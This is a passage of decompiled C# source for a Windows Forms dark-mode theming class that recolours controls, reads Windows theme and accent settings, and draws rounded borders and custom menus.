StringFormat format = lbl.GetType().GetMethod("CreateStringFormat", BindingFlags.Instance | BindingFlags.NonPublic).Invoke((object) lbl, new object[0]) as StringFormat;
|
||||
e.Graphics.DrawString(lbl.Text, lbl.Font, brush, new PointF(1f, 0.0f), format);
|
||||
}
|
||||
});
|
||||
}
|
||||
if (control is LinkLabel)
|
||||
{
|
||||
control.GetType().GetProperty("LinkColor")?.SetValue((object) control, (object) darkModeCs.OScolors.AccentLight);
|
||||
control.GetType().GetProperty("VisitedLinkColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Primary);
|
||||
}
|
||||
if (control is TextBox)
|
||||
control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) borderStyle);
|
||||
if (control is NumericUpDown)
|
||||
DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_ItemsView" : "ClearMode_ItemsView", (string) null);
|
||||
if (control is Button)
|
||||
{
|
||||
Button button = control as Button;
|
||||
button.FlatStyle = darkModeCs.IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard;
|
||||
button.FlatAppearance.CheckedBackColor = darkModeCs.OScolors.Accent;
|
||||
button.FlatAppearance.BorderColor = System.Drawing.Color.Gray;
|
||||
button.BackColor = darkModeCs.OScolors.Control;
|
||||
button.FlatAppearance.BorderColor = darkModeCs.OwnerForm.AcceptButton == button ? darkModeCs.OScolors.Accent : darkModeCs.OScolors.Control;
|
||||
}
|
||||
if (control is ComboBox comboBox)
|
||||
{
|
||||
control.BeginInvoke((Delegate) (() => (control as ComboBox).SelectionLength = 0));
|
||||
if (!control.Enabled && darkModeCs.IsDarkMode)
|
||||
comboBox.DropDownStyle = ComboBoxStyle.DropDownList;
|
||||
DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_CFD" : "ClearMode_CFD", (string) null);
|
||||
}
|
||||
if (control is Panel)
|
||||
{
|
||||
Panel _Control = control as Panel;
|
||||
_Control.BackColor = darkModeCs.OScolors.Surface;
|
||||
_Control.BorderStyle = BorderStyle.None;
|
||||
if ((!(_Control.Parent is TabControl) || !(_Control.Parent is TableLayoutPanel) || !(_Control.Parent is PictureBox)) && darkModeCs.RoundedPanels)
|
||||
DarkModeCS.SetRoundBorders((Control) _Control, 6, new System.Drawing.Color?(darkModeCs.OScolors.Surface), 1);
|
||||
}
|
||||
if (control is GroupBox)
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor);
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive);
|
||||
control.Paint += (PaintEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (control.Enabled || !this.IsDarkMode)
|
||||
return;
|
||||
GroupBox groupBox = sender as GroupBox;
|
||||
Brush brush = (Brush) new SolidBrush(control.ForeColor);
|
||||
e.Graphics.DrawString(groupBox.Text, groupBox.Font, brush, new PointF(6f, 0.0f));
|
||||
});
|
||||
}
|
||||
if (control is TableLayoutPanel)
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor);
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextInactive);
|
||||
control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None);
|
||||
}
|
||||
if (control is TabControl)
|
||||
{
|
||||
TabControl tab = control as TabControl;
|
||||
tab.Appearance = TabAppearance.Normal;
|
||||
tab.DrawMode = TabDrawMode.OwnerDrawFixed;
|
||||
tab.DrawItem += (DrawItemEventHandler) ((sender, e) =>
|
||||
{
|
||||
using (SolidBrush solidBrush = new SolidBrush(tab.Parent.BackColor))
|
||||
e.Graphics.FillRectangle((Brush) solidBrush, tab.ClientRectangle);
|
||||
using (Brush brush = (Brush) new SolidBrush(this.OScolors.Surface))
|
||||
{
|
||||
for (int index = 0; index < tab.TabPages.Count; ++index)
|
||||
{
|
||||
TabPage tabPage = tab.TabPages[index];
|
||||
tabPage.BackColor = this.OScolors.Surface;
|
||||
tabPage.BorderStyle = BorderStyle.FixedSingle;
|
||||
tabPage.ControlAdded += (ControlEventHandler) ((_s, _e) => this.ThemeControl(_e.Control));
|
||||
Rectangle bounds = e.Bounds;
|
||||
if (tab.SelectedIndex == index)
|
||||
{
|
||||
e.Graphics.FillRectangle(brush, bounds);
|
||||
TextRenderer.DrawText((IDeviceContext) e.Graphics, tabPage.Text, tabPage.Font, e.Bounds, this.OScolors.TextActive);
|
||||
}
|
||||
else
|
||||
TextRenderer.DrawText((IDeviceContext) e.Graphics, tabPage.Text, tabPage.Font, tab.GetTabRect(index), this.OScolors.TextInactive);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
if (control.Name == "textBoxConsole")
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.ControlLight);
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive);
|
||||
}
|
||||
if (control.Name == "fastColoredTextBox1")
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.ControlLight);
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive);
|
||||
control.GetType().GetProperty("IndentBackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Background);
|
||||
}
|
||||
if (control is PictureBox && control.Name != "userIMG" && control.Name != "clientIMG" && control.Name != "rateIMG" && control.Name != "onlineIMG" && control.Name != "offlineIMG")
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Background);
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive);
|
||||
control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None);
|
||||
if (control.Name == "mayo")
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor);
|
||||
}
|
||||
if (control is RadioButton)
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor);
|
||||
control.ForeColor = control.Enabled ? darkModeCs.OScolors.TextActive : darkModeCs.OScolors.TextInactive;
|
||||
control.Paint += (PaintEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (control.Enabled || !this.IsDarkMode)
|
||||
return;
|
||||
RadioButton radioButton = sender as RadioButton;
|
||||
Brush brush = (Brush) new SolidBrush(control.ForeColor);
|
||||
e.Graphics.DrawString(radioButton.Text, radioButton.Font, brush, new PointF(16f, 0.0f));
|
||||
});
|
||||
}
|
||||
if (control is MenuStrip)
|
||||
{
|
||||
(control as MenuStrip).RenderMode = ToolStripRenderMode.Professional;
|
||||
(control as MenuStrip).Renderer = (ToolStripRenderer) new MyRenderer((ProfessionalColorTable) new CustomColorTable(darkModeCs.OScolors), darkModeCs.ColorizeIcons)
|
||||
{
|
||||
MyColors = darkModeCs.OScolors
|
||||
};
|
||||
}
|
||||
if (control is ToolStrip)
|
||||
{
|
||||
(control as ToolStrip).RenderMode = ToolStripRenderMode.Professional;
|
||||
(control as ToolStrip).Renderer = (ToolStripRenderer) new MyRenderer((ProfessionalColorTable) new CustomColorTable(darkModeCs.OScolors), darkModeCs.ColorizeIcons)
|
||||
{
|
||||
MyColors = darkModeCs.OScolors
|
||||
};
|
||||
}
|
||||
if (control is ToolStripPanel)
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor);
|
||||
if (control is ToolStripDropDown)
|
||||
{
|
||||
(control as ToolStripDropDown).Opening -= new CancelEventHandler(darkModeCs.Tsdd_Opening);
|
||||
(control as ToolStripDropDown).Opening += new CancelEventHandler(darkModeCs.Tsdd_Opening);
|
||||
}
|
||||
if (control is ToolStripDropDownMenu)
|
||||
{
|
||||
(control as ToolStripDropDownMenu).Opening -= new CancelEventHandler(darkModeCs.Tsdd_Opening);
|
||||
(control as ToolStripDropDownMenu).Opening += new CancelEventHandler(darkModeCs.Tsdd_Opening);
|
||||
}
|
||||
if (control is ContextMenuStrip)
|
||||
{
|
||||
(control as ContextMenuStrip).RenderMode = ToolStripRenderMode.Professional;
|
||||
(control as ContextMenuStrip).Renderer = (ToolStripRenderer) new MyRenderer((ProfessionalColorTable) new CustomColorTable(darkModeCs.OScolors), darkModeCs.ColorizeIcons)
|
||||
{
|
||||
MyColors = darkModeCs.OScolors
|
||||
};
|
||||
(control as ContextMenuStrip).Opening -= new CancelEventHandler(darkModeCs.Tsdd_Opening);
|
||||
(control as ContextMenuStrip).Opening += new CancelEventHandler(darkModeCs.Tsdd_Opening);
|
||||
}
|
||||
if (control is MdiClient)
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Surface);
|
||||
if (control is PropertyGrid)
|
||||
{
|
||||
PropertyGrid propertyGrid = control as PropertyGrid;
|
||||
propertyGrid.BackColor = darkModeCs.OScolors.Control;
|
||||
propertyGrid.ViewBackColor = darkModeCs.OScolors.Control;
|
||||
propertyGrid.LineColor = darkModeCs.OScolors.Surface;
|
||||
propertyGrid.ViewForeColor = darkModeCs.OScolors.TextActive;
|
||||
propertyGrid.ViewBorderColor = darkModeCs.OScolors.ControlDark;
|
||||
propertyGrid.CategoryForeColor = darkModeCs.OScolors.TextActive;
|
||||
propertyGrid.CategorySplitterColor = darkModeCs.OScolors.ControlLight;
|
||||
}
|
||||
ListView lView = control as ListView;
|
||||
if (lView != null)
|
||||
{
|
||||
DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_Explorer" : "Explorer", (string) null);
|
||||
if (lView.View == View.Details)
|
||||
{
|
||||
lView.OwnerDraw = true;
|
||||
lView.DrawColumnHeader += (DrawListViewColumnHeaderEventHandler) ((sender, e) =>
|
||||
{
|
||||
using (SolidBrush solidBrush1 = new SolidBrush(this.OScolors.ControlLight))
|
||||
{
|
||||
using (SolidBrush solidBrush2 = new SolidBrush(this.OScolors.TextActive))
|
||||
{
|
||||
using (StringFormat format = new StringFormat())
|
||||
{
|
||||
format.Alignment = StringAlignment.Center;
|
||||
format.LineAlignment = StringAlignment.Center;
|
||||
e.Graphics.FillRectangle((Brush) solidBrush1, e.Bounds);
|
||||
e.Graphics.DrawString(e.Header.Text, lView.Font, (Brush) solidBrush2, (RectangleF) e.Bounds, format);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
lView.DrawItem += (DrawListViewItemEventHandler) ((sender, e) => e.DrawDefault = true);
|
||||
lView.DrawSubItem += (DrawListViewSubItemEventHandler) ((sender, e) => e.DrawDefault = true);
|
||||
}
|
||||
await DarkModeCS.DarkMode();
|
||||
}
|
||||
if (control is TreeView)
|
||||
control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None);
|
||||
if (control is PictureBox && control.Name == "userIMG" && control.Name == "clientIMG" && control.Name == "rateIMG" && control.Name == "onlineIMG" && control.Name == "offlineIMG")
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.BackgroundDark);
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive);
|
||||
control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None);
|
||||
await DarkModeCS.DarkMode();
|
||||
}
|
||||
if (control is DataGridView)
|
||||
{
|
||||
DataGridView dataGridView1 = control as DataGridView;
|
||||
dataGridView1.EnableHeadersVisualStyles = false;
|
||||
dataGridView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
dataGridView1.BackgroundColor = darkModeCs.OScolors.Control;
|
||||
dataGridView1.GridColor = darkModeCs.OScolors.Control;
|
||||
dataGridView1.Paint += (PaintEventHandler) ((sender, e) =>
|
||||
{
|
||||
DataGridView dataGridView2 = sender as DataGridView;
|
||||
HScrollBar hscrollBar = (HScrollBar) typeof (DataGridView).GetProperty("HorizontalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue((object) dataGridView2);
|
||||
if (!hscrollBar.Visible)
|
||||
return;
|
||||
VScrollBar vscrollBar = (VScrollBar) typeof (DataGridView).GetProperty("VerticalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue((object) dataGridView2);
|
||||
if (!vscrollBar.Visible)
|
||||
return;
|
||||
Brush brush = (Brush) new SolidBrush(this.OScolors.SurfaceDark);
|
||||
int width = vscrollBar.Size.Width;
|
||||
int height = hscrollBar.Size.Height;
|
||||
e.Graphics.FillRectangle(brush, dataGridView2.ClientRectangle.X + dataGridView2.ClientRectangle.Width - width - 1, dataGridView2.ClientRectangle.Y + dataGridView2.ClientRectangle.Height - height - 1, width, height);
|
||||
});
|
||||
dataGridView1.DefaultCellStyle.BackColor = darkModeCs.OScolors.Surface;
|
||||
dataGridView1.DefaultCellStyle.ForeColor = darkModeCs.OScolors.TextActive;
|
||||
dataGridView1.ColumnHeadersDefaultCellStyle.BackColor = darkModeCs.OScolors.Surface;
|
||||
dataGridView1.ColumnHeadersDefaultCellStyle.ForeColor = darkModeCs.OScolors.TextActive;
|
||||
dataGridView1.ColumnHeadersDefaultCellStyle.SelectionBackColor = darkModeCs.OScolors.Surface;
|
||||
dataGridView1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single;
|
||||
dataGridView1.ColumnHeadersHeight = 140;
|
||||
dataGridView1.RowHeadersDefaultCellStyle.BackColor = darkModeCs.OScolors.Surface;
|
||||
dataGridView1.RowHeadersDefaultCellStyle.ForeColor = darkModeCs.OScolors.TextActive;
|
||||
dataGridView1.RowHeadersDefaultCellStyle.SelectionBackColor = darkModeCs.OScolors.Surface;
|
||||
dataGridView1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single;
|
||||
}
|
||||
if (control is RichTextBox richTextBox)
|
||||
richTextBox.BackColor = richTextBox.Parent.BackColor;
|
||||
if (control is ConsoleTextBox consoleTextBox)
|
||||
consoleTextBox.BackColor = consoleTextBox.Parent.BackColor;
|
||||
if (control is FlowLayoutPanel flowLayoutPanel)
|
||||
{
|
||||
flowLayoutPanel.BackColor = flowLayoutPanel.Parent.BackColor;
|
||||
flowLayoutPanel.BorderStyle = BorderStyle.None;
|
||||
}
|
||||
if (control.ContextMenuStrip != null)
|
||||
darkModeCs.ThemeControl((Control) control.ContextMenuStrip);
|
||||
IEnumerator enumerator = control.Controls.GetEnumerator();
|
||||
try
|
||||
{
|
||||
while (enumerator.MoveNext())
|
||||
{
|
||||
Control current = (Control) enumerator.Current;
|
||||
darkModeCs.ThemeControl(current);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (enumerator is IDisposable disposable)
|
||||
disposable.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static void ExcludeFromProcessing(Control control)
|
||||
{
|
||||
DarkModeCS.controlStatusStorage.ExcludeFromProcessing(control);
|
||||
}
|
||||
|
||||
public static int GetWindowsColorMode(bool GetSystemColorModeInstead = false)
|
||||
{
|
||||
try
|
||||
{
|
||||
return (int) Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize", GetSystemColorModeInstead ? "SystemUsesLightTheme" : "AppsUseLightTheme", (object) -1);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
public static System.Drawing.Color GetWindowsAccentColor()
|
||||
{
|
||||
try
|
||||
{
|
||||
DarkModeCS.DWMCOLORIZATIONcolors colors = new DarkModeCS.DWMCOLORIZATIONcolors();
|
||||
DarkModeCS.DwmGetColorizationParameters(ref colors);
|
||||
if (!DarkModeCS.IsWindows10orGreater())
|
||||
return System.Drawing.Color.CadetBlue;
|
||||
long num = long.Parse(colors.ColorizationColor.ToString(), NumberStyles.HexNumber);
|
||||
return System.Drawing.Color.FromArgb((int) (num >> 24 & (long) byte.MaxValue), (int) (num >> 16 /*0x10*/ & (long) byte.MaxValue), (int) (num >> 8 & (long) byte.MaxValue), (int) (num & (long) byte.MaxValue));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return System.Drawing.Color.CadetBlue;
|
||||
}
|
||||
}
|
||||
|
||||
public static System.Drawing.Color GetWindowsAccentOpaqueColor()
|
||||
{
|
||||
DarkModeCS.DWMCOLORIZATIONcolors colors = new DarkModeCS.DWMCOLORIZATIONcolors();
|
||||
DarkModeCS.DwmGetColorizationParameters(ref colors);
|
||||
if (!DarkModeCS.IsWindows10orGreater())
|
||||
return System.Drawing.Color.CadetBlue;
|
||||
long num = long.Parse(colors.ColorizationColor.ToString(), NumberStyles.HexNumber);
|
||||
return System.Drawing.Color.FromArgb((int) byte.MaxValue, (int) (num >> 16 /*0x10*/ & (long) byte.MaxValue), (int) (num >> 8 & (long) byte.MaxValue), (int) (num & (long) byte.MaxValue));
|
||||
}
|
||||
|
||||
public static OSThemeColors GetSystemColors(Form Window = null, int ColorMode = 0)
|
||||
{
|
||||
OSThemeColors systemColors = new OSThemeColors();
|
||||
if (ColorMode <= 0)
|
||||
{
|
||||
systemColors.Background = System.Drawing.Color.FromArgb(32 /*0x20*/, 32 /*0x20*/, 32 /*0x20*/);
|
||||
systemColors.BackgroundDark = System.Drawing.Color.FromArgb(18, 18, 18);
|
||||
systemColors.BackgroundLight = ControlPaint.Light(systemColors.Background);
|
||||
systemColors.Surface = System.Drawing.Color.FromArgb(43, 43, 43);
|
||||
systemColors.SurfaceLight = System.Drawing.Color.FromArgb(50, 50, 50);
|
||||
systemColors.SurfaceDark = System.Drawing.Color.FromArgb(29, 29, 29);
|
||||
systemColors.TextActive = System.Drawing.Color.White;
|
||||
systemColors.TextInactive = System.Drawing.Color.FromArgb(176 /*0xB0*/, 176 /*0xB0*/, 176 /*0xB0*/);
|
||||
systemColors.TextInAccent = DarkModeCS.GetReadableColor(systemColors.Accent);
|
||||
systemColors.Control = System.Drawing.Color.FromArgb(55, 55, 55);
|
||||
systemColors.ControlDark = ControlPaint.Dark(systemColors.Control);
|
||||
systemColors.ControlLight = System.Drawing.Color.FromArgb(67, 67, 67);
|
||||
systemColors.Primary = System.Drawing.Color.FromArgb(3, 218, 198);
|
||||
systemColors.Secondary = System.Drawing.Color.MediumSlateBlue;
|
||||
}
|
||||
return systemColors;
|
||||
}
|
||||
|
||||
public static void SetRoundBorders(
|
||||
Control _Control,
|
||||
int Radius = 10,
|
||||
System.Drawing.Color? borderColor = null,
|
||||
int borderSize = 2,
|
||||
bool underlinedStyle = false)
|
||||
{
|
||||
try
|
||||
{
|
||||
borderColor = new System.Drawing.Color?(borderColor ?? System.Drawing.Color.MediumSlateBlue);
|
||||
if (_Control == null)
|
||||
return;
|
||||
_Control.GetType().GetProperty("BorderStyle")?.SetValue((object) _Control, (object) BorderStyle.None);
|
||||
_Control.Region = Region.FromHrgn(DarkModeCS.CreateRoundRectRgn(0, 0, _Control.Width, _Control.Height, Radius, Radius));
|
||||
_Control.Paint += (PaintEventHandler) ((sender, e) =>
|
||||
{
|
||||
Graphics graphics = e.Graphics;
|
||||
if (Radius <= 1)
|
||||
return;
|
||||
Rectangle clientRectangle = _Control.ClientRectangle;
|
||||
Rectangle rect = Rectangle.Inflate(clientRectangle, -borderSize, -borderSize);
|
||||
int width = borderSize > 0 ? borderSize : 1;
|
||||
using (GraphicsPath figurePath1 = DarkModeCS.GetFigurePath(clientRectangle, Radius))
|
||||
{
|
||||
using (GraphicsPath figurePath2 = DarkModeCS.GetFigurePath(rect, Radius - borderSize))
|
||||
{
|
||||
using (Pen pen1 = new Pen(_Control.Parent.BackColor, (float) width))
|
||||
{
|
||||
using (Pen pen2 = new Pen(borderColor.Value, (float) borderSize))
|
||||
{
|
||||
_Control.Region = new Region(figurePath1);
|
||||
if (Radius > 15)
|
||||
{
|
||||
using (GraphicsPath figurePath3 = DarkModeCS.GetFigurePath(_Control.ClientRectangle, borderSize * 2))
|
||||
_Control.Region = new Region(figurePath3);
|
||||
}
|
||||
graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
pen2.Alignment = PenAlignment.Center;
|
||||
if (underlinedStyle)
|
||||
{
|
||||
graphics.DrawPath(pen1, figurePath1);
|
||||
graphics.SmoothingMode = SmoothingMode.None;
|
||||
graphics.DrawLine(pen2, 0, _Control.Height - 1, _Control.Width, _Control.Height - 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
graphics.DrawPath(pen1, figurePath1);
|
||||
graphics.DrawPath(pen2, figurePath2);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public static Bitmap ChangeToColor(Bitmap bmp, System.Drawing.Color c)
|
||||
{
|
||||
Bitmap color = new Bitmap(bmp.Width, bmp.Height);
|
||||
using (Graphics graphics = Graphics.FromImage((Image) color))
|
||||
{
|
||||
graphics.InterpolationMode = InterpolationMode.HighQualityBilinear;
|
||||
graphics.CompositingQuality = CompositingQuality.HighQuality;
|
||||
graphics.SmoothingMode = SmoothingMode.HighQuality;
|
||||
ColorMatrix newColorMatrix = new ColorMatrix(new float[5][]
|
||||
{
|
||||
new float[5]{ 1f, 0.0f, 0.0f, 0.0f, 0.0f },
|
||||
new float[5]{ 0.0f, 1f, 0.0f, 0.0f, 0.0f },
|
||||
new float[5]{ 0.0f, 0.0f, 1f, 0.0f, 0.0f },
|
||||
new float[5]{ 0.0f, 0.0f, 0.0f, 1f, 0.0f },
|
||||
new float[5]
|
||||
{
|
||||
(float) c.R / (float) byte.MaxValue,
|
||||
(float) c.G / (float) byte.MaxValue,
|
||||
(float) c.B / (float) byte.MaxValue,
|
||||
0.0f,
|
||||
1f
|
||||
}
|
||||
});
|
||||
ImageAttributes imageAttr = new ImageAttributes();
|
||||
imageAttr.SetColorMatrix(newColorMatrix);
|
||||
graphics.DrawImage((Image) bmp, new Rectangle(0, 0, bmp.Width, bmp.Height), 0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, imageAttr);
|
||||
}
|
||||
return color;
|
||||
}
|
||||
|
||||
public static Image ChangeToColor(Image bmp, System.Drawing.Color c)
|
||||
{
|
||||
return (Image) DarkModeCS.ChangeToColor((Bitmap) bmp, c);
|
||||
}
|
||||
|
||||
private void Tsdd_Opening(object sender, CancelEventArgs e)
|
||||
{
|
||||
if (!(sender is ToolStripDropDown toolStripDropDown))
|
||||
return;
|
||||
foreach (ToolStripMenuItem toolStripMenuItem in toolStripDropDown.Items.OfType<ToolStripMenuItem>())
|
||||
{
|
||||
toolStripMenuItem.DropDownOpening -= new EventHandler(this.Tsmi_DropDownOpening);
|
||||
toolStripMenuItem.DropDownOpening += new EventHandler(this.Tsmi_DropDownOpening);
|
||||
}
|
||||
}
|
||||
|
||||
private void Tsmi_DropDownOpening(object sender, EventArgs e)
|
||||
{
|
||||
if (!(sender is ToolStripMenuItem toolStripMenuItem))
|
||||
return;
|
||||
if (toolStripMenuItem.DropDown.Items.Count > 0)
|
||||
this.ThemeControl((Control) toolStripMenuItem.DropDown);
|
||||
toolStripMenuItem.DropDownOpening -= new EventHandler(this.Tsmi_DropDownOpening);
|
||||
}
|
||||
|
||||
private static void ApplySystemDarkTheme(Control control = null, bool IsDarkMode = true)
|
||||
{
|
||||
int[] numArray;
|
||||
if (!IsDarkMode)
|
||||
numArray = new int[1];
|
||||
else
|
||||
numArray = new int[1]{ 1 };
|
||||
int[] attrValue = numArray;
|
||||
string pszSubAppName = IsDarkMode ? "DarkMode_Explorer" : "DarkMode_Explorer";
|
||||
DarkModeCS.SetWindowTheme(control.Handle, pszSubAppName, (string) null);
|
||||
if (DarkModeCS.DwmSetWindowAttribute(control.Handle, 19, attrValue, 4) != 0)
|
||||
DarkModeCS.DwmSetWindowAttribute(control.Handle, 20, attrValue, 4);
|
||||
foreach (Control control1 in (ArrangedElementCollection) control.Controls)
|
||||
{
|
||||
if (control1.Controls.Count != 0)
|
||||
DarkModeCS.ApplySystemDarkTheme(control1, IsDarkMode);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsWindows10orGreater() => DarkModeCS.WindowsVersion() >= 10;
|
||||
|
||||
private static int WindowsVersion()
|
||||
{
|
||||
int result;
|
||||
try
|
||||
{
|
||||
int.TryParse(Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion").GetValue("ProductName").ToString().Split(' ')[1], out result);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
result = Environment.OSVersion.Version.Major;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private static System.Drawing.Color GetReadableColor(System.Drawing.Color backgroundColor)
|
||||
{
|
||||
return 0.299 * ((double) backgroundColor.R / (double) byte.MaxValue) + 0.587 * ((double) backgroundColor.G / (double) byte.MaxValue) + 0.114 * ((double) backgroundColor.B / (double) byte.MaxValue) >= 0.5 ? System.Drawing.Color.FromArgb(34, 34, 34) : System.Drawing.Color.FromArgb(182, 180, 215);
|
||||
}
|
||||
|
||||
private static GraphicsPath GetFigurePath(Rectangle rect, int radius)
|
||||
{
|
||||
GraphicsPath figurePath = new GraphicsPath();
|
||||
float num = (float) radius * 2f;
|
||||
figurePath.StartFigure();
|
||||
figurePath.AddArc((float) rect.X, (float) rect.Y, num, num, 180f, 90f);
|
||||
figurePath.AddArc((float) rect.Right - num, (float) rect.Y, num, num, 270f, 90f);
|
||||
figurePath.AddArc((float) rect.Right - num, (float) rect.Bottom - num, num, num, 0.0f, 90f);
|
||||
figurePath.AddArc((float) rect.X, (float) rect.Bottom - num, num, num, 90f, 90f);
|
||||
figurePath.CloseFigure();
|
||||
return figurePath;
|
||||
}
|
||||
|
||||
public struct DWMCOLORIZATIONcolors
|
||||
{
|
||||
public uint ColorizationColor;
|
||||
public uint ColorizationAfterglow;
|
||||
public uint ColorizationColorBalance;
|
||||
public uint ColorizationAfterglowBalance;
|
||||
public uint ColorizationBlurBalance;
|
||||
public uint ColorizationGlassReflectionIntensity;
|
||||
public uint ColorizationOpaqueBlend;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum DWMWINDOWATTRIBUTE : uint
|
||||
{
|
||||
DWMWA_NCRENDERING_ENABLED = 1,
|
||||
DWMWA_NCRENDERING_POLICY = 2,
|
||||
DWMWA_TRANSITIONS_FORCEDISABLED = DWMWA_NCRENDERING_POLICY | DWMWA_NCRENDERING_ENABLED, // 0x00000003
|
||||
DWMWA_ALLOW_NCPAINT = 4,
|
||||
DWMWA_CAPTION_BUTTON_BOUNDS = DWMWA_ALLOW_NCPAINT | DWMWA_NCRENDERING_ENABLED, // 0x00000005
|
||||
DWMWA_NONCLIENT_RTL_LAYOUT = DWMWA_ALLOW_NCPAINT | DWMWA_NCRENDERING_POLICY, // 0x00000006
|
||||
DWMWA_FORCE_ICONIC_REPRESENTATION = DWMWA_NONCLIENT_RTL_LAYOUT | DWMWA_NCRENDERING_ENABLED, // 0x00000007
|
||||
DWMWA_FLIP3D_POLICY = 8,
|
||||
DWMWA_EXTENDED_FRAME_BOUNDS = DWMWA_FLIP3D_POLICY | DWMWA_NCRENDERING_ENABLED, // 0x00000009
|
||||
DWMWA_HAS_ICONIC_BITMAP = DWMWA_FLIP3D_POLICY | DWMWA_NCRENDERING_POLICY, // 0x0000000A
|
||||
DWMWA_DISALLOW_PEEK = DWMWA_HAS_ICONIC_BITMAP | DWMWA_NCRENDERING_ENABLED, // 0x0000000B
|
||||
DWMWA_EXCLUDED_FROM_PEEK = DWMWA_FLIP3D_POLICY | DWMWA_ALLOW_NCPAINT, // 0x0000000C
|
||||
DWMWA_CLOAK = DWMWA_EXCLUDED_FROM_PEEK | DWMWA_NCRENDERING_ENABLED, // 0x0000000D
|
||||
DWMWA_CLOAKED = DWMWA_EXCLUDED_FROM_PEEK | DWMWA_NCRENDERING_POLICY, // 0x0000000E
|
||||
DWMWA_FREEZE_REPRESENTATION = DWMWA_CLOAKED | DWMWA_NCRENDERING_ENABLED, // 0x0000000F
|
||||
DWMWA_USE_HOSTBACKDROPBRUSH = 16, // 0x00000010
|
||||
DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = DWMWA_USE_HOSTBACKDROPBRUSH | DWMWA_TRANSITIONS_FORCEDISABLED, // 0x00000013
|
||||
DWMWA_USE_IMMERSIVE_DARK_MODE = DWMWA_USE_HOSTBACKDROPBRUSH | DWMWA_ALLOW_NCPAINT, // 0x00000014
|
||||
DWMWA_WINDOW_CORNER_PREFERENCE = 33, // 0x00000021
|
||||
DWMWA_BORDER_COLOR = 34, // 0x00000022
|
||||
DWMWA_CAPTION_COLOR = DWMWA_BORDER_COLOR | DWMWA_NCRENDERING_ENABLED, // 0x00000023
|
||||
DWMWA_TEXT_COLOR = 36, // 0x00000024
|
||||
DWMWA_VISIBLE_FRAME_BORDER_THICKNESS = DWMWA_TEXT_COLOR | DWMWA_NCRENDERING_ENABLED, // 0x00000025
|
||||
DWMWA_LAST = DWMWA_TEXT_COLOR | DWMWA_NCRENDERING_POLICY, // 0x00000026
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum DWM_WINDOW_CORNER_PREFERENCE
|
||||
{
|
||||
DWMWCP_DEFAULT = 0,
|
||||
DWMWCP_DONOTROUND = 1,
|
||||
DWMWCP_ROUND = 2,
|
||||
DWMWCP_ROUNDSMALL = DWMWCP_ROUND | DWMWCP_DONOTROUND, // 0x00000003
|
||||
}
|
||||
|
||||
[Serializable]
|
||||
public struct RECT
|
||||
{
|
||||
public int Left;
|
